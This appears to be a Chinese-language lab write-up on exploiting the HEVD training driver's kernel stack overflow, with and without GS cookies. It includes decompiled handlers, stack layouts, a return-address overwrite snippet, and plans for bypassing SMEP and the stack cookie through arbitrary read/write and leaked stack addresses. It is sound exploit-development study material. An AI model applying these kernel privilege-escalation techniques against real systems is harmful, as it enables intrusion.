HEVD-StackOverFlow

栈溢出,梦开始的地方

相关代码在仓库HEVDExploits

Without GS

存在问题的区域

1
2
3
4
case 0x222003:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = BufferOverflowStackIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";

Ioctl获得用户态参数

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
void *Type3InputBuffer; // rcx
__int64 result; // rax
size_t InputBufferLength; // rdx

Type3InputBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
result = 3221225473i64;
InputBufferLength = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if ( Type3InputBuffer )
return TriggerBufferOverflowStack(Type3InputBuffer, InputBufferLength);
return result;
}

读取到内核栈中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall TriggerBufferOverflowStack(void *UserBuffer, size_t Size)
{
unsigned int KernelBuffer[512]; // [rsp+20h] [rbp-818h] BYREF

memset(KernelBuffer, 0, sizeof(KernelBuffer));
ProbeForRead(UserBuffer, 0x800ui64, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x800ui64);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
memmove(KernelBuffer, UserBuffer, Size);
return 0i64;
}

ProbeForRead 例程检查用户模式缓冲区是否实际驻留在地址空间的用户部分,并且是否正确对齐。

1
2
3
4
5
void ProbeForRead(
[in] const volatile VOID *Address,
[in] SIZE_T Length,
[in] ULONG Alignment
);

从汇编看,不存在cookie,并且存在exception信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PAGE:00000001400866AE                 call    memmove
PAGE:00000001400866B3 jmp short loc_1400866D0
PAGE:00000001400866B3 ; } // starts at 14008661E
PAGE:00000001400866B5 ; ---------------------------------------------------------------------------
PAGE:00000001400866B5
PAGE:00000001400866B5 $LN6_0: ; DATA XREF: .rdata:000000014000269C↑o
PAGE:00000001400866B5 ; __except(1) // owned by 14008661E
PAGE:00000001400866B5 mov ebx, eax
PAGE:00000001400866B7 mov r9d, eax
PAGE:00000001400866BA lea r8, aExceptionCode0 ; "[-] Exception Code: 0x%X\n"
PAGE:00000001400866C1 mov edx, 3 ; Level
PAGE:00000001400866C6 lea ecx, [Size+4Ah] ; ComponentId
PAGE:00000001400866C9 call cs:__imp_DbgPrintEx
PAGE:00000001400866CF nop
PAGE:00000001400866D0
PAGE:00000001400866D0 loc_1400866D0: ; CODE XREF: TriggerBufferOverflowStack+CF↑j
PAGE:00000001400866D0 mov eax, ebx
PAGE:00000001400866D2 lea r11, [rsp+838h+var_18]
PAGE:00000001400866DA mov rbx, [r11+20h]
PAGE:00000001400866DE mov rsi, [r11+28h]
PAGE:00000001400866E2 mov rdi, [r11+30h]
PAGE:00000001400866E6 mov rsp, r11
PAGE:00000001400866E9 pop r15
PAGE:00000001400866EB pop r14
PAGE:00000001400866ED pop r12
PAGE:00000001400866EF retn
PAGE:00000001400866EF ; } // starts at 1400865E4

首先,我们需要确定返回地址偏移,IDA标记了返回地址的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-0000000000000818 KernelBuffer    dd 512 dup(?)
-0000000000000018 var_18 db ?
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 r db 8 dup(?)

调试一下,确实如此

1
2
3
4
5
6
7
8
RtlFillMemory(lpBuffer, 0x1000, 0x43);
PDWORD64 rop = (PDWORD64)((PCHAR)lpBuffer + 0x818);
*rop = 0xdeadbeef;

4: kd> r rsp
rsp=fffff3082725a708
4: kd> t
00000000`deadbeef ?? ???

因此

  • ROP关闭SMEP/SMAP
  • 跳转到用户态进行执行shellcode

With GS

code如下

1
2
3
4
5
case 0x222007:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = BufferOverflowStackGSIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n";
goto LABEL_64;

不同点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall TriggerBufferOverflowStackGS(void *UserBuffer, size_t Size)
{
unsigned __int8 KernelBuffer[512]; // [rsp+20h] [rbp-238h] BYREF

memset(KernelBuffer, 0, sizeof(KernelBuffer));
ProbeForRead(UserBuffer, 0x200ui64, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x200ui64);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack (GS)\n");
memmove(KernelBuffer, UserBuffer, Size);
return 0i64;
}

看汇编可以看出来存在cookie的比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PAGE:00000001400867E4                 call    memmove
PAGE:00000001400867E9 jmp short loc_140086806
PAGE:00000001400867E9 ; } // starts at 140086754
PAGE:00000001400867EB ; ---------------------------------------------------------------------------
PAGE:00000001400867EB
PAGE:00000001400867EB $LN6_1: ; DATA XREF: .rdata:00000001400026D0↑o
PAGE:00000001400867EB ; __except(1) // owned by 140086754
PAGE:00000001400867EB mov ebx, eax
PAGE:00000001400867ED mov r9d, eax
PAGE:00000001400867F0 lea r8, aExceptionCode0 ; "[-] Exception Code: 0x%X\n"
PAGE:00000001400867F7 mov edx, 3 ; Level
PAGE:00000001400867FC lea ecx, [Size+4Ah] ; ComponentId
PAGE:00000001400867FF call cs:__imp_DbgPrintEx
PAGE:0000000140086805 nop
PAGE:0000000140086806
PAGE:0000000140086806 loc_140086806: ; CODE XREF: TriggerBufferOverflowStackGS+D9↑j
PAGE:0000000140086806 mov eax, ebx
PAGE:0000000140086808 mov UserBuffer, [rsp+258h+var_38]
PAGE:0000000140086810 xor UserBuffer, rsp ; StackCookie
PAGE:0000000140086813 call __security_check_cookie
PAGE:0000000140086818 mov rbx, [rsp+258h+arg_10]
PAGE:0000000140086820 add rsp, 230h
PAGE:0000000140086827 pop r15
PAGE:0000000140086829 pop r14
PAGE:000000014008682B pop r12
PAGE:000000014008682D pop rdi
PAGE:000000014008682E pop rsi
PAGE:000000014008682F retn

GS: Cookie 用于在使用 /GS(缓冲区安全检查)编译的代码中和使用异常处理的代码中提供缓冲区溢出保护。 进入受到溢出保护的函数时,Cookie 被置于堆栈之上;退出时,会将堆栈上的值与全局 Cookie 进行比较。 它们之间存在任何差异则表示已经发生缓冲区溢出,并导致该程序的立即终止。

这个var_38就是cookie的值,最后进行一个比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
-0000000000000238 KernelBuffer    db 512 dup(?)
-0000000000000038 var_38 dq ?
-0000000000000030 db ? ; undefined
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 r db 8 dup(?)

其初始化过程

1
2
3
PAGE:0000000140086724                 mov     rax, cs:__security_cookie
PAGE:000000014008672B xor rax, rsp
PAGE:000000014008672E mov [rsp+258h+var_38], rax

绕过cookie的思路:

  • 在x86下可以通过修改 SEH 中的 exception handler 地址并触发异常来控制程序的执行流程。但是这个方法在这里并不可行,因为环境是 64 位系统,而只有 32 位系统的 SEH 信息保存在栈中,64 位系统的 SEH 不在栈上(1)。因此无法使用 SEH 进行漏洞利用。
  • 修改 .data 和 栈上存储的 cookie 值。要做到这点,需要找到一个任意写漏洞,而 HEVD 显然是有这个漏洞的,就在 TriggerArbitraryWrite 函数中。除此之外,此次漏洞函数中还额外对 security_cookie 进行了一次栈顶的异或操作,因此还要获取栈顶的数值
  • 覆盖虚函数指针 条件:函数参数中有对象或结构体的指针;参数是放在栈上的。由于测试环境是 64 位系统,参数保存在寄存器中,因此不考虑。
  • 读取 cookie 数值并计算出 xored security_cookie 数值 需要一个任意读漏洞读取 cookie 的数值,以及想办法获取计算 xored security_cookie 时 RSP 寄存器的数值。

如何获取rsp的值?

首先利用 NtQuerySystemInformation 函数获取当前进程的 PSYSTEM_EXTENDED_PROCESS_INFORMATION 信息,该信息中包含了进程中每个线程的 StackBase 和 StackLimit 信息,StackBase 表示栈的起始地址,StackLimit 表示栈范围内可分配的最小地址,由于栈空间是向下分配的,因此 StackBase 的数值大于 StackLimit 的数值。

what to where: 其实是任意地址读写。

  • where内核地址,what写数据 => 任意写
  • where是用户buffer,what是内核地址 => 任意读
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 0x22200B:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = ArbitraryWriteIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_ARBITRARY_WRITE ******\n";
goto LABEL_64;

__int64 __fastcall TriggerArbitraryWrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned __int64 *What; // rbx
unsigned __int64 *Where; // rdi

ProbeForRead(UserWriteWhatWhere, 0x10ui64, 1u);
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrintEx(0x4Du, 3u, "[+] WRITE_WHAT_WHERE Size: 0x%zX\n", 0x10ui64);
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Arbitrary Write\n");
*Where = *What;
return 0i64;
}

使用NtQuerySystemInformation(ZwQuerySystemInformation)获得内核信息

1
2
3
4
5
6
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);

SYSTEM_INFORMATION_CLASS是一个枚举类型,文章存在这个结构体,我们关心如下的一个就行

1
2
3
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemExtendedProcessInformation = 0x39
} SYSTEM_INFORMATION_CLASS;

SystemInformation 是查询结果

SystemInformationLength是SystemInformation缓冲区大小

ReturnLength返回实际大小,如果大于SystemInformationLength函数调用会失败

相关利用:List process information including process architecture and username

查询的结果是 PSYSTEM_EXTENDED_PROCESS_INFORMATION

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct _SYSTEM_EXTENDED_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER SpareLi1;
LARGE_INTEGER SpareLi2;
LARGE_INTEGER SpareLi3;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
PVOID PageDirectoryBase;
VM_COUNTERS VirtualMemoryCounters;
SIZE_T PrivatePageCount;
IO_COUNTERS IoCounters;
SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];
} SYSTEM_EXTENDED_PROCESS_INFORMATION, * PSYSTEM_EXTENDED_PROCESS_INFORMATION;

其中存在一个NumberOfThread的变量,我们可以遍历SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];来获得StackBase和StackLimit

1
2
3
4
5
6
7
8
9
10
11
typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION
{
SYSTEM_THREAD_INFORMATION ThreadInfo;
PVOID StackBase;
PVOID StackLimit;
PVOID Win32StartAddress;
PVOID TebBase; // since VISTA
ULONG_PTR Reserved2;
ULONG_PTR Reserved3;
ULONG_PTR Reserved4;
} SYSTEM_EXTENDED_THREAD_INFORMATION, * PSYSTEM_EXTENDED_THREAD_INFORMATION;

securityCookie在模块中的位置:

1
2
.data:0000000140003010 ; uintptr_t _security_cookie
.data:0000000140003010 __security_cookie dq 2B992DDFA232h

参考文章指出,每次触发驱动的 handler 函数时,一定会调用 nt!NtDeviceIoControlFile 函数,并且返回地址在 nt!NtDeviceIoControlFile+0x56

TriggerStackOverflow与获得栈的基址偏移是否相同?多跑几次

1
2
3
4
5
Python>0xfffff88b1fdbf000-0xfffff88b1fdc44b0
-0x54b0

Python>0xfffff88b1dc8d000-0xfffff88b1dc924b0
-0x54b0

看起来是一样的,因此我们直接获得rsp地址

memmove时寄存器的值

1
2
3
4
5
6
RAX: 0000000000000000   RBX: 0000000000000000   RCX: FFFFEC8EDD1724D0   
RDX: 00000250870E0000 RSI: 0000000000000008 RDI: 00000250870E0000
RIP: FFFFF801211467E4 RSP: FFFFEC8EDD1724B0 RBP: FFFFAC01F21BCE50
R8: 0000000000000008 R9: 000000000000004D R10: 0000000000000000
R11: FFFFEC8EDD1724A8 R12: 0000000000000200 R13: FFFFAC01F2AC9E10
R14: 000000000000004D R15: 0000000000000003

如果直接写入,栈溢出触发Exception,直接崩溃

  • 缓冲区太大了(0x1000)后来把缓冲区该小一点(0x270),发现是可以

看了几篇文章,使用了修改页表的方式 bypass SMEP,有时间学习一下

参考